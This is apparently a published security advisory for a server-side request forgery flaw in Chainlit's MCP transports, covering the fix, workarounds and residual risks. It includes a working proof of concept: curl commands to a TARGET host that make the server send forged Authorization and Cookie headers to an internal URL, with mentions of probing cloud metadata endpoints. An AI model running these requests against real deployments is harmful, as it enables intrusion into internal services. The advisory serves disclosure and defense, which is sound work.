Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin [email protected] SPL [email protected]